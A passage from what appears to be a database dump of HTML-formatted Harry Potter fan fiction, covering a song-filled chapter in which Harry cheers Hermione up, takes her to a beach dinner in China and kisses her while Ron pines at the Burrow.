class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just as\nshe was about to step up to leave, a spotlight focused on the corner of the\nscreen, and music started playing on the squeaky old speakers. Hermione\nwatched, entranced. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Pretty woman, walkin\'\ndown the street<br>\nPretty woman the kind I like to meet<br>\nPretty woman I don\'t believe you, you\'re not the truth<br>\nNo one could look as good as you </i></b><b><i style="mso-bidi-font-style:\nnormal">&#8211;</i></b><b><i style="mso-bidi-font-style:normal"> mercy</i></b></p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">At this moment, from the corner of the stage, a\nwoman, or rather, Harry dressed like a woman, swaying his hips and flipping his\nhair, singing to the tune of Pretty Woman, a particular famous movie back in\nthe days. Harry had donned a blonde wig which reached his waist and had put on\na hot pink dress and work high heels. He began walking across the stage,\npretending to be a woman. Hermione looked at his shocked. This was not the\nHarry she knew, what ever made him become&#8230; become&#8230; become a sissy. Harry blew a\nkiss towards her, grin cheekily, before disappearing\nbehind the backstage. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Pretty woman won\'t you pardon me<br>\nPretty woman I couldn\'t help but see<br>\nPretty woman that you look lovely as can be<br>\nAre you lonely just like me</i></b></p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">Harry appeared again on stage, but this time, he was\ndressed a lot like Charlie Chaplin. He had a walking stick and had those weird\nlooking moustaches and lifted his hat every now and than, bowing to imaginary\npeople, raising his hats as if he was searching for someone. And when he\nfinally did, he would stop momentarily halfway on the stage and point his stick\nin the direction, before running off the backstage again. Hermione watched,\nshocked, entranced, a smile slowing forming on her face. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Pretty woman stop awhile<br>\nPretty woman talk awhile<br>\nPretty woman give your smile to me<br>\nPretty woman yeah, yeah, yeah<br>\nPretty woman look my way<br>\nPretty woman say you\'ll stay with me<br>\nCuz I need you, I\'ll treat you right<br>\nCome with me baby, be mine tonight</i></b></p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">Harry appeared again, this time as a clown with a\nbig nose. He gave Hermione a stupid grin before moving about in those\nabnormally big shoes of his, singing to the tune. Looking around, doing tricks, and shaking his backside every now and than.\nSuddenly, he started bowing and tried to squeeze himself into a small car, but\nended up with on leg in the car and tried to skate all the way out of the stage\nbut slipped and fell, rolling out of the stage with his back on the floor,\ncleaning it of its dust. Hermione watched opened mouth, and tried to stifle her\nlaughter. It was hard, but she had to. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Pretty woman don\'t walk on by<br>\nPretty woman don\'t make me cry<br>\nPretty woman don\'t walk away, OK<br>\nIf that\'s the way it must be, OK<br>\nI guess I\'ll go on home, it\'s late<br>\nThere\'ll be tomorrow night, but wait<br>\nWhat do I see?</i></b></p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">This time, Harry walked out once again, his normal\nself, donning a midnight blue robe, looking as ravishing and handsome he had\never been, his hair still jutting out at all four corners, his mysterious green\neyes sparkling with mischief. Seeing that Hermione had smiled, he knew he had\naccomplished his mission. As he sang, he made face expression according to the\nlyrics. A crying face, and unhappy face, a disappointed face.\nHermione could no longer controlled her laughter,\nburst out laughing. This was one of the first time in\nweeks that she had actually laughed. It was good to laugh. Suddenly all was\ngone, and only Harry and her existed, the songs he\nsang, he actions he did. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">Is she walkin\'\nback to me?<br>\nYeah, she\'s walkin\' back to me<br>\nOh, oh, pretty woman</i></b></p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">Nearing the end of the song, Harry sauntered down\nsuavely, an action which would make most girls drop dead at his feet. He headed\ntowards Hermione, enjoying every moment of it, a smirk plastered on his face as\nhe stepped closer. Hermione just looked at him with a certain interest and a\nsimilar smirk on her face. He circled round her once, before grabbing her\naround the waist and pulling her closer to him just as the music ended.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;May I have the honour of\ntreating you to tonight&#8217;s dinner, my pretty lady?&#8221; Harry asked, an eyebrow cocked high up as he looked at her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Anything you say.&#8221; Hermione said smiling as Harry\npropped her upright. And together, these two best friends,\nwalk out together hand in hand, singing and kicking their legs, can-can style,\nmuch to the amusement of passer-bys, to the song of Pretty Woman. </p>\n\n<p class="MsoNormal"><b><i style="mso-bidi-font-style:normal">&nbsp;</i></b></p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">&nbsp;</p>\n\n\n\n\n\n\n'),
	(23, 8, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;One Moment in Time</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Author: Ohepelss Oramtnci</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Spoilers: All Four Books</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Category: Romance</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Keywords: Harry Potter/ Hermione Granger</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Rating: Hmm&#8230; how about Pg-Pg-13</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Summary: Hermione thinks Ron is cheating on her and breaks up with\nhim. Both are equally upset, and during this time, Harry stands by Hermione and\nhelps her through. Would love eventually blossom between them or would them\nremain as best friends like they began with? </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Disclaimer: All Harry Potter related characters belong to Ms.\nJ.K.Rowling. Other characters which you do not recognize belong to yours truly.\nSong Sometimes when we touch belongs to Dan Hill and Great Pretender belongs to\nthe Plqtters</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Author&#8217;s Note: Sorry for the long update&#8230; I fell and couldn&#8217;t type\nfor a few days when I wanted to&#8230; so know that I&#8217;m better&#8230; I&#8217;ll present you with\nthis chapter :D</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><b style="mso-bidi-font-weight:normal">Kinicky</b><b style="mso-bidi-font-weight:normal"> 21</b>- Musical??? Hmm.. not a bad idea though&#8230; Well, this story wasn&#8217;t supposed to\nbe a musical, but I used a tad bit too much music in it&#8230; I love songs and add\nit in at places where I think it&#8217;s appropriate I guess&#8230; since my ideas are\nmainly derived from songs&#8230; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><b style="mso-bidi-font-weight:normal">Sinta</b> &#8211; Yes, than Harry must\nbe very confidant I guess&#8230; What&#8217;s next?? You&#8217;ll see </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><b style="mso-bidi-font-weight:normal">Laurie </b>&#8211; Updated </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><b style="mso-bidi-font-weight:normal">Star429 </b>&#8211; Did I say I wanted to\nwrite about the dinner? Well&#8230; just joking&#8230; You&#8217;ll see the dinner they shared&#8230;\nand a little something more&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><b style="mso-bidi-font-weight:normal">Clair </b>&#8211; Yes, this is H/Hr&#8230;\nNow how am I supposed to convince you?? Hmm.. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><b style="mso-bidi-font-weight:normal">Lordanhur</b><b style="mso-bidi-font-weight:normal"> </b>&#8211; It&#8217;s nice to hear that this story is this okay :D</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">Without further ado&#8230; I present to you&#8230; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Chapter 8: And\nSometimes when we touch</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center"><b style="mso-bidi-font-weight:normal">&nbsp;</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal">&nbsp;</b>The cool air hit\nHermione as she stepped into the restaurant Harry had brought her too. The\nplush maroon carpet underneath her feet creased with every step she took.\nHermione looked around, eyes wide open. Out of the many muggle restaurants\navailable in China, Harry had managed to\nfind one that was a pure wizardry one. Hermione took a double-look at her own clothes.\nShe felt out of place. Diners were mainly in robes and wore top hats. Even\nHarry had donned a mid-night blue robe. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As if reading her\nmind, Harry took out his polished wand and muttered an incantation. Silvery\nwhite light swirled around her as her clothes change from sandals and a flora\ndress to a shimmering deep purple robe and a pair of glass shoes. Her ponytail\nwas done up in a French twist and from her ears hung a pair of attractive\nopals. All this happened in a short time and even Hermione herself was slightly\nshocked. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry gave her a\nfriendly kiss on the cheek. &#8220;Don&#8217;t worry, you look gorgeous.&#8221; Harry said, smiling\nas Hermione returned the smile. The sound of running feet as a waitress in a\nblack robe and disheveled hair came closer to them, a clip board on hand. She\nsat it on the podium beside her as she frantically try\nto flatten her hair and rubbed her hands as she picked up the clipboard. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Name?&#8221; She asked, removing a\npen from behind a ear and smiling at them. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Potter.&#8221; Harry replied, giving\nher one of his charming grin. The waitress smile and gave him a wink before\nturning around. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Follow me.&#8221; She\ncontinued, making a tick on the piece of paper attached to the clipboard. Harry\nheld out his arm. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Do I have the honour?&#8221;\nHarry asked, grinning at her. Hermione smiled as she slipped her arm through\nhis and together, they followed the waitress in front of them. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">------------------------------------------------------------------------</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh yes I\'m the great pretender (ooh ooh)<br>\nPretending I\'m doing well (ooh ooh)<br>\nMy need is such I pretend too much<br>\nI\'m lonely but no one can tell&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ginny and Draco closed their ears and winced. Ron had started\nanother spate of his singing fits. This was the 100th song in 3\ndays. He never sang the same songs and Draco and Ginny reckoned that he had\nsang more love songs than both of them knew, or perhaps, will be singing. The\nmost peaceful time was when he was asleep. At least the whole house didn&#8217;t rock\nwith his hoarse singing. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron wasn&#8217;t a terrible singer&#8230; but well, he had been singing at the\ntop of his voice for the past few days and naturally, his voice had went\nhoarse. Ginny and Draco decided against casting a silencing charm around the\nroom, as they wouldn&#8217;t hear him if he got into trouble. But not, they are the\nones suffering themselves. Both mentally wished that Harry could manage to\nbring Hermione back and persuade her to apologize. They have given up with Ron,\nhe listens to no persuasion. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh yes I\'m the great pretender (ooh ooh)<br>\nAdrift in a world of my own (ooh ooh)<br>\nI play the game but to my real shame<br>\nYou\'ve left me to dream all alone&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A nearby glass vase shattered. Ginny quickly cleared the mess up.\nIt wasn&#8217;t the first time any item around the house has been shattered due to\nhis singing. They have tried making their way up to his room, but as soon as the\nopened the large mahogany doors, they closed it immediately, for the sound was just\ntoo deafening for them to take it. It&#8217;s a wonder Ron was able to stay in the\nroom for such a long period of time. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Arthur and Molly couldn&#8217;t stand Ron&#8217;s continuous singing and had\ntaken leave to visit Charlie and his wife, Liz, in Romania. Here, Ginny and Draco were suffering from Ron&#8217;s outbursts, but\nlittle did they know that Harry was enjoying his time with Hermione in China, having dinner. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Too real is this feeling of make believe<br>\nToo real when I feel what my heart<br>\ncan\'t conceal&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ginny shook her head. Since Ron missed Hermione so much, why\nwouldn&#8217;t he just go and find her in China? Isn&#8217;t it silly to sing his heart out with no one to listen but\nthem? Trees outside the burrow were bare, since Ron had scared away all the\nbirds with his horrendous singing. Only the crows remain to sing in sync with\nhim. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ooh Ooh yes I\'m the great pretender\n(ooh ooh)<br>\nJust laughing and gay like a clown (ooh ooh)<br>\nI seem to be what I\'m not (you see)<br>\nI\'m wearing my heart like a crown<br>\nPretending that you\'re still around&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A tear rolled down Ron&#8217;s cheek. He wiped it quickly. Men don&#8217;t\ncry, even when they are upset. He missed Hermione so much, missed having her in\nhis arms, missed smelling the strong scent of strawberries and champagne that\nemitted from her brown hair, missed every single thing about her. But he was\nadamant about admitting his mistake. Talk about the Weasley&#8217;s pride, he had a\nbig ego to hard to flatten. It never changed even when\nhe was with Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah ooh hoo<br>\nToo real when I feel what my heart<br>\ncan\'t conceal&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Yet, right here, his heart was already bursting, his body yearning\nto be close to Hermione, his heart, longing to see her again. His eyes caught\nside of the picture on his bedside table, one of him and Hermione, smiling\ngaily at each other. It was their wedding picture. Ron thought. Was it time to\nswallow the Weasley pride and get back the only girl of his dreams?? </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh yes I\'m the great pretender<br>\nJust laughing and gay like a clown (ooh ooh)<br>\nI seem to be what I\'m not you see<br>\nI\'m wearing my heart like a crown<br>\nPretending that you\'re<br>\nPretending that you\'re still around&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Nearing the end of the song, there was silence. Ginny and Draco\npricked their ears, scanning for any sounds of the next oncoming song. None\ncame and they looked at each other in surprise. Suddenly, a\near-splitting crash was heard. Both Ginny and Draco jumped up in surprise and\nlanded on the other side of the couch tearing up the stairs like wild dogs and\nflinging over the door to Ron&#8217;s room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ron&#8230;&#8221; Ginny began as she quickly scanned the room. There was no\nsign of Ron, only a broken window with the shattered pieces on the ground.\nGinny quickly ran towards the window, Draco followed closely. A streak of red\nran through the sky and disappeared in a flash. Ron was gone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;By god, he&#8217;s gone to China to find Hermione.&#8221; Ginny trailed off as she looked at Draco. The\nends of her lips turned up, so did Draco&#8217;s. &#8220;It&#8217;s going to be a happy ending.&#8221;\nGinny said, happily, jumping up and down as Draco happily twirled her round. It\nwas the end of their suffering, at long last. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">------------------------------------------------------------------------</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The waitress had led them up to the beach situated outside the\nrestaurant. Specially set up for them was a gramophone,\nand a table. Smiling, Harry led her over to the table and pulled out the\ncushioned chair for her. Hermione gently swept up her robe and seated softly as\nHarry pushed in the chair for her. The sun had already setting and in place was\nher glimmering full moon that brightened up the sea slightly. Its reflection\ncast beautifully as the blue-green waters of the sea rippled. Harry took out\nhis wand and lit three candles on the table to reveal two empty plates, two\nsets of cutlery, a bottle of red wine in an ice bucket and two wine glasses placed\non a beautiful pink silk table cloth. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry opened the wine bottle and poured a glass of red wine for\nboth of them as he reached underneath the table. Hermione looked at him\ncuriously, wondering what weird ideas he came up with this time. It was a\nsimple stick and he presented it to her. Holding the stick in her hand, she\nlooked at him weirdly and examined the stick. In the blink of the eye, the\nstick transformed into a beautiful bouquet of red roses and this transfiguration\nshock Hermione. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks.&#8221; She said quietly, still surprised as she set down the\nflowers by the side. &#8220;What&#8217;s for dinner?&#8221; She asked, suddenly looking up and\nsmiling at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Whatever you want.&#8221; Harry said\nsimply as Hermione looked at her plate again. Before, it was an empty silver\nplatter, but now, a platter of steak, gravy and potatoes appeared before her,\nsmelling and looking absolutely delicious. She looked over at Harry&#8217;s plate. It\ncontained the same food. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;To our friendship.&#8221; Harry said,\nsmiling at her as he lifted his glass. Hermione followed suit. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;To us.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Both downed the glass of red wine and Harry poured more red wine.\nTheir dinner resumed in as both tucked in, talking happily to each other,\nsmiling and joking at the same time. As the last bit of potato disappeared from\nthe platter, soft music began traveling towards their ears. Harry stood up and\nwent towards Hermione and bowed. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;May I have a dance with this lovely lady?&#8221; He asked, smiling at\nher. Hermione nodded and took his hand. Taking her by her waist, he leaded her\ncloser towards the gramophone and they began to sway to the music. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">You ask me if I love you and</i></b><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal"><br>\nI choke on my reply.<br>\nI\'d rather hurt you honestly<br>\nThan mislead you with a lie.<br>\nAnd who am I to judge you</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nOn what you say or do?<br>\nI\'m only just beginning</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nTo see the real you.</i></b></p>\n\n<p class="MsoNormal">The moonlight cast a sort of a glow\nupon them, framing their features and reflected it upon the sand. They dance\ntogether in beat as they move to the music, words not bothering them at all.\nQuietness was all around, besides the playing music. Their feet dragged slowly\nacross the sand, making imprints upon it. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">And sometimes when we touch,</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nThe honesty\'s too much,<br>\nAnd I have to close my eyes and hide.<br>\nI wanna hold you till I die,</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nTill we both break down and cry.<br>\nI wanna hold you till the fear in me subsides.</i></b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">These few words make Hermione suddenly\nfeel cold, alone. The thought of Ron just made it worse. Harry could feel it\nand held her closer to him. Hermione closed her eyes. She was here to relax,\nnot to brood over the past. With Harry&#8217;s arms around her, she felt a sense of\nbeing, warmth and love. Closing her eyes in content, she laid her head upon his\nshoulders and let him lead her on with the dance. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">Romance and all its strategy</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nLeaves me battling with my pride.<br>\nBut through the insecurity,</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nSome tenderness survives.<br>\nI\'m just another writer</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nStill trapped within my truths;<br>\nA hesitant prizefighter</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nStill trapped within my youth.</i></b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">Harry closed his eyes. This felt so\nright, a feeling he never experienced with other woman before. The only\ndifference was perhaps that she was his best friend. He ran a hand through her\nhair and stroke it silently, hoping to calm the many feelings within her, wanting\nher to relax, letting her know that with him here, she&#8217;ll never be alone. He&#8217;ll\nalways be there, always be there to protect her and would never leave her\nalone. For a moment there, he had completely forgotten about his mission here\nin China.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">At times I\'d like to break you</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nAnd drive you to your knees.<br>\nAt times I\'d like to break through</i></b><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal"><br>\nAnd hold you endlessly.</i></b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">There was this feeling that Hermione\ncouldn&#8217;t forego. A feeling which made her felt that she was cheating on Ron by\nbeing this close to Harry. But they were only best friends weren&#8217;t they? Best\nfriends comforted each other when they are sad, hugged and cried together. That&#8217;s\nthe things best friends do don&#8217;t they? </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">At times I understand you,</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nAnd I know how hard you\'ve tried.<br>\nI\'ve watched while love commands you,</i></b><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal"><br>\nAnd I\'ve watched love pass you by.<br>\nAt times I think we\'re drifters,</i></b><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:\nnormal"><i style="mso-bidi-font-style:normal"><br>\nStill searching for a friend,<br>\nA brother or a sister.</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nBut then the passion flares again.</i></b></p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></b></p>\n\n<p class="MsoNormal">They parted slightly and continued\ntheir dance, both staring into each other eyes. Hermione&#8217;s flickered with\nhappiness while Harry&#8217;s flickered with hope. Harry could only stare at\nHermione, noting how pretty she was, how lucky he was to have her as a best friend.\nMaybe he hoped for something more, but he knew that Hermione doesn&#8217;t feel the\nsame. He felt lost in the glowing brown orbs of hers. They told him so much, so\nmuch more than words could ever put it. Happiness was what she feeling now, but\nsadness was still evident there. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry tried to shake himself out of it.\nHermione did not belong to him. She was Ron&#8217;s, and will always be. Her heart\nwas him, it was too much to hope that her heart will\nbelong to him. <i style="mso-bidi-font-style:normal">What am I thinking off?\nShe&#8217;s my best friend of heaven&#8217;s sake. </i>But this was something Harry didn&#8217;t\nwant to admit. On impulse, he brought his lips closer to hers and caressed them\ngently with a very sweet kiss. He didn&#8217;t know why he did that, his heart just\ncommanded him to. He had no want to pull back, all he want\nwas time to stop where it was now and not continue. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This was the turning point. He couldn&#8217;t\nturn back; he could no longer deny the feelings he had for Hermione. Yes, he\nhad been deceiving himself for the past few years, deeming her only as a best\nfriend. But his heart no longer wanted that, he wanted Hermione to be his, not\nRon&#8217;s. It was a selfish thought, but love was selfish. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:\nnormal">And sometimes when we touch,</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal">&nbsp;</i></b><b style="mso-bidi-font-weight:normal"><i style="mso-bidi-font-style:normal"><br>\nThe honesty\'s too much,<br>\nAnd I have to close my eyes and hide.<br>\nI wanna hold you till I 